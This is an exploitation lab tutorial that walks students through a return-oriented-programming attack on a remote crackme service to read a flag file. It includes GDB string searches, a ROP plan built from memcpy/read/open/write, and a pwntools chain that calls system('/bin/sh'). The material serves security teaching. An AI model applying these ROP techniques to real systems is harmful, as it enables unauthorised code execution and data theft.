Tut07: ROP Against Remote Service

Today we'll exploit the 64-bit crackme0x00 from Tut06-02... remotely! We're going to use essentially the same binary, but this time, it'll be provided as a remote network service instead of directly as an executable file.

Try connecting to it:

$ nc [LAB_SERVER_IP] 10701

Step 0. Understanding the remote service

In Tut06-02, we exploited an x86_64 DEP-enabled crackme0x00 binary without any explicit leaks provided. In the second payload, we invoked a sequence of calls to read the flag as follows:

  1. open("anystring", 0); (assume that "anystring" names a symlink to /proc/flag)
  2. read(3, tmp, 1040);
  3. write(1, tmp, 1040);

Unfortunately, this trick no longer works in a remote setting, because we can't create a symbolic link in a remote filesystem that we don't have access to. In other words, we need to either find an existing "/proc/flag" string somewhere in memory, or construct it ourselves.

[Task] Before you proceed further, make sure your exploit for Tut06-02 works against this remote service! But it shouldn't actually print the flag yet, as it fails to open /proc/flag.

Step 1. Constructing /proc/flag

Unfortunately, it's unlikely that either the binary or libc has a "/proc/flag" string. However, by ROP-ing, we can construct any string we want. Let's search for snippets of the string in memory.

In a GDB session, try:

> search "/proc"
libc-2.27.so    0x7ffff7867a1d 0x65732f636f72702f ('/proc/se')
libc-2.27.so    0x7ffff78690ed 0x65732f636f72702f ('/proc/se')
...

> search "flag"
libc-2.27.so    0x7ffff77f29e3 insb   byte ptr [rdi], dx /* 'flags' */
libc-2.27.so    0x7ffff77f54ad insb   byte ptr [rdi], dx /* 'flags' */
...

Our plan is to use memcpy() to concatenate these two strings in some temporary, writable memory region:

memcpy(tmp2, PTR_TO_PROC, len("/proc/"));
memcpy(tmp2+len("/proc/"), PTR_TO_FLAG, len("flag"));

Note: memcpy() is an "ifunc" in glibc, and those can be tricky to find correct offsets for. Tut06-02 included a tip for how to deal with that, so refer back to that section if you need to.

Once the string is in place, the rest of your payload would then be:

  1. open(tmp2, 0); (tmp2 now contains the concatenated "/proc/flag" string)
  2. read(3, tmp, 1040);
  3. write(1, tmp, 1040);

Your first thought might be to prepend the two memcpy() calls to that, but if you try it, you'll discover that the challenge binary only accepts 256 bytes of user input, which isn't enough for all five calls.

[Task] Try to exploit the program once again. It's now a three-stage exploit:

  • Leak addresses and use them to find the desired functions and memory
  • Build the "/proc/flag" string with two memcpy()s
  • open() + read() + write()

Can you successfully get the flag from the remote server?

Step 2. Injecting "/proc/flag"

Although that does work, there's actually an easier method. Since we've hijacked control flow and can call whatever functions we want, we can directly inject our string ("/proc/flag") to an arbitrary memory region by simply invoking read() and providing the string on stdin:

read(0, tmp2, 11);

[Task] Can you tweak your exploit to accept "/proc/flag" and save it to tmp2?

Note: When feeding multiple inputs to a remote service, you may want to briefly pause the exploit in between with sleep(), or wait until the previous input is fully processed (e.g., using recvuntil()). Otherwise, due to buffering, multiple payloads might end up being read by the same read() call (e.g., the "/proc/flag" string could end up at the end of your initial ROP chain, even if you intended to send it as a separate input).

Another option is to always send inputs that are exactly as large as the read() size (i.e., 256 bytes for this binary -- see start()), which forces read() to return before accepting your next input.

Tip 1. Using pwntools

As mentioned in Tut06-01, you can also automate the ROP programming process with pwntools. Here's a slightly fancier example than the one from that tutorial:

#/usr/bin/env python3

from pwn import *

context.arch = 'x86_64'

# override pwntools's default cache directory to your secret tmp directory
# (workaround for <https://github.com/Gallopsled/pwntools/issues/2072>)
os.environ['XDG_CACHE_HOME'] = './'

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc.address = 0xdeadb000  # put the leaked libc base here

rop = ROP(libc)
# fill the buffer
rop.raw(b'A' * 44)
# system("/bin/sh")
rop.system(next(libc.search(b'/bin/sh\x00')))
# exit(0)
rop.exit(0)

# get the payload
payload = rop.chain()

While writing a ROP chain, it's a good idea to frequently check its payload using dump():

print(rop.dump())

0x0000:       'AAAAAAAA' 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
0x0008:       'AAAAAAAA'
0x0010:       'AAAAAAAA'
0x0018:       'AAAAAAAA'
0x0020:       'AAAAAAAA'
0x0028:       'AAAAaaaa'
0x0030:       0xdeafc55f pop rdi; ret
0x0038:       0xdec8f0fa [arg0] rdi = 3737710842
0x0040:       0xdeb2a4e0 system
0x0048:       0xdeafc55f pop rdi; ret
0x0050:              0x0 [arg0] rdi = 0
0x0058:       0xdeb1e1d0 exit

pwntools was even able to automatically find and use the pop rdi; ret gadget from libc!

If you're feeling ambitious, you can write your ROP chains more cleanly using this module.

Tip 2. Matching the libc binary

The remote environment might use different libraries (e.g., libc), which can cause your exploit that relies on gadgets outside of the program itself to fail. If you're using a different Linux distribution, or have a different version of the same one, you need to make sure that you're testing your exploit with exactly the same libraries.

A simple way to avoid this problem is to copy the libraries from the remote server and use those:

[remote] $ ldd target-seccomp
	linux-vdso.so.1 (0x00007ffdb5cba000)
	libseccomp.so.2 => /lib/x86_64-linux-gnu/libseccomp.so.2 (0x00007f6cc3f72000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f6cc3b81000)
	/lib64/ld-linux-x86-64.so.2 (0x00007f6cc41be000)

[local] $ scp lab07@[ip]:/lib/x86_64-linux-gnu/libc.so.6 .
[local] $ scp lab07@[ip]:/lib64/ld-linux-x86-64.so.2 .

With these dynamic linker and libc libraries, you can launch target-seccomp essentially the same as if it was running on the remote server:

$ LD_LIBRARY_PATH=. ./ld-linux-x86-64.so.2 ./target-seccomp
IOLI Crackme Level 0x00
Password:

(meanwhile, in another console window:)

$ cat /proc/$(pidof ld-linux-x86-64.so.2)/maps | grep libc
7f7792d50000-7f7792f37000 r-xp 00000000 08:01 /tmp/tut07-remote/libc.so.6
7f7792f37000-7f7793137000 ---p 001e7000 08:01 /tmp/tut07-remote/libc.so.6
7f7793137000-7f779313b000 r--p 001e7000 08:01 /tmp/tut07-remote/libc.so.6
7f779313b000-7f779313d000 rw-p 001eb000 08:01 /tmp/tut07-remote/libc.so.6

LD_LIBRARY_PATH=. instructs the linker to look for libraries in the current working directory when loading target-seccomp. As shown above, the maps file indicates that the libc.so.6 in the current directory is being used instead of the system's default libc.

You can do this in Python, too, in the same way:

p = process(['./ld-linux-x86-64.so.2', './target-seccomp'],
            env={'LD_LIBRARY_PATH': '.'})

Note that if you're using the same Linux distribution and version as the remote server, it's unlikely that you need to do this at all.

Tip 3. Stack alignment issues

The stack alignment issues highlighted at the end of Tut06-02 can occur here, too. The solution is the same, so if you encounter segmentation faults on movaps instructions within libc, refer back to that section for help.

Good luck!